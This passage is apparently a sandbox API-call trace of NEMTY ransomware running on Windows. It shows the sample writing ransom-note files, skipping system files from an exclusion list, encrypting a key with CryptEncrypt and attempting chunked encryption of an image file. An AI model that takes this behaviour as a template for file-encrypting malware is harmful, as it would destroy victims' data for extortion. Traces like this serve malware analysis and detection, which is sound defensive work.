lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0124.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0124.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340158 [0124.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0124.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340200 [0124.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0124.174] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0124.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0124.183] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.183] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0124.184] CloseHandle (hObject=0x1ec) returned 1 [0124.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0124.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0124.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0124.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340158 [0124.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401e0 [0124.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0124.184] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0124.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0124.184] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0124.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0124.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340268 [0124.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340310 [0124.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340268 | out: hHeap=0x4f90000) returned 1 [0124.185] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0124.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340310 | out: hHeap=0x4f90000) returned 1 [0124.185] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.186] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0124.186] CloseHandle (hObject=0x1ec) returned 1 [0124.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0124.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0124.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401e0 [0124.187] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xfda905b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfda905b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0124.187] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0124.187] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xfda905b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfda905b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0124.187] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0124.187] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0124.187] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842ddbeb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842ddbeb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x290d46f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x42e6, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="back.png", cAlternateFileName="")) returned 1 [0124.187] lstrcmpiW (lpString1="back.png", lpString2=".") returned 1 [0124.187] lstrcmpiW (lpString1="back.png", lpString2="..") returned 1 [0124.187] lstrcmpiW (lpString1="back.png", lpString2="...") returned 1 [0124.187] lstrcmpiW (lpString1="back.png", lpString2="windows") returned -1 [0124.187] lstrcmpiW (lpString1="back.png", lpString2="$RECYCLE.BIN") returned 1 [0124.187] lstrcmpiW (lpString1="back.png", lpString2="rsa") returned -1 [0124.187] lstrcmpiW (lpString1="back.png", lpString2="NTDETECT.COM") returned -1 [0124.187] lstrcmpiW (lpString1="back.png", lpString2="ntldr") returned -1 [0124.187] lstrcmpiW (lpString1="back.png", lpString2="MSDOS.SYS") returned -1 [0124.187] lstrcmpiW (lpString1="back.png", lpString2="IO.SYS") returned -1 [0124.187] lstrcmpiW (lpString1="back.png", lpString2="boot.ini") returned -1 [0124.187] lstrcmpiW (lpString1="back.png", lpString2="boot.ini") returned -1 [0124.187] lstrcmpiW (lpString1="back.png", lpString2="AUTOEXEC.BAT") returned 1 [0124.187] lstrcmpiW (lpString1="back.png", lpString2="ntuser.dat") returned -1 [0124.187] lstrcmpiW (lpString1="back.png", lpString2="desktop.ini") returned -1 [0124.187] lstrcmpiW (lpString1="back.png", lpString2="CONFIG.SYS") returned -1 [0124.187] lstrcmpiW (lpString1="back.png", lpString2="RECYCLER") returned -1 [0124.187] lstrcmpiW (lpString1="back.png", lpString2="BOOTSECT.BAK") returned -1 [0124.187] lstrcmpiW (lpString1="back.png", lpString2="bootmgr") returned -1 [0124.187] lstrcmpiW (lpString1="back.png", lpString2="programdata") returned -1 [0124.187] lstrcmpiW (lpString1="back.png", lpString2="appdata") returned 1 [0124.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.187] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="back.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0124.187] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="back.png", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="back.png", lpUsedDefaultChar=0x0) returned 8 [0124.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0124.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="back.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0124.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="back.png", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="back.png", lpUsedDefaultChar=0x0) returned 8 [0124.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0124.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="back.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0124.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="back.png", cchWideChar=8, lpMultiByteStr=0x653ec20, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="back.png", lpUsedDefaultChar=0x0) returned 8 [0124.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="back.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0124.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="back.png", cchWideChar=8, lpMultiByteStr=0x653ec58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="back.png", lpUsedDefaultChar=0x0) returned 8 [0124.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0124.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0124.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0124.188] Sleep (dwMilliseconds=0x5) [0124.189] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfdab6710, dwHighDateTime=0x1d561e7)) [0124.189] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfdab6710, dwHighDateTime=0x1d561e7)) [0124.189] GetLastError () returned 0xb7 [0124.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0124.190] GetLastError () returned 0xb7 [0124.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0124.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0124.190] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0124.190] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0124.190] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0124.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401e0 [0124.190] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401e0, pcchString=0x653e91c | out: pszString="Ig9tc2Zyy2stgMrEIhYU9sc1UC7g457dn2A6iHYO59ykzv7RvGhU+kjZncwHxuYP\r\nQAweawQGbyrekvCeCFZGwrnaxdVBGVRyZxeC/ATETSi6LBIDY4KuTgtDmhujj1io\r\n09UhOd3y0c0ybZtbyFRnIltHdQvTcVm6X72609LkOB62Q29rXXhjLl29ZQaTjkIF\r\nSpFCrRh+Zp6l9CglVeZJMbYg1zUwJmipfkbXUQwJPnZ6g7QZ+YKXSETAzxzfXK21\r\n+4I6Oy2rWlIPzxsiAinTImwqJZWP4SmJeqHJTqYutc62rlJ+hgfWe22C6kyn2kVE\r\nCzAH7u6HPpTtO5wAtomunQ==\r\n", pcchString=0x653e91c) returned 1 [0124.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0124.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0124.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0124.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0124.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401e0 [0124.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0124.191] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\back.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.191] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0124.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0124.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.191] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.200] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.200] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.200] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.200] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.209] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.209] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.220] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.220] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.232] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.232] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.242] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.242] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.251] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.251] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.260] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.260] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.260] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.260] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.284] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.284] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.284] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.284] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.293] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.293] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.293] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.294] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.304] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.304] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.310] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.310] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.317] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.317] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0124.317] CloseHandle (hObject=0xffffffff) returned 0 [0124.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0124.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, 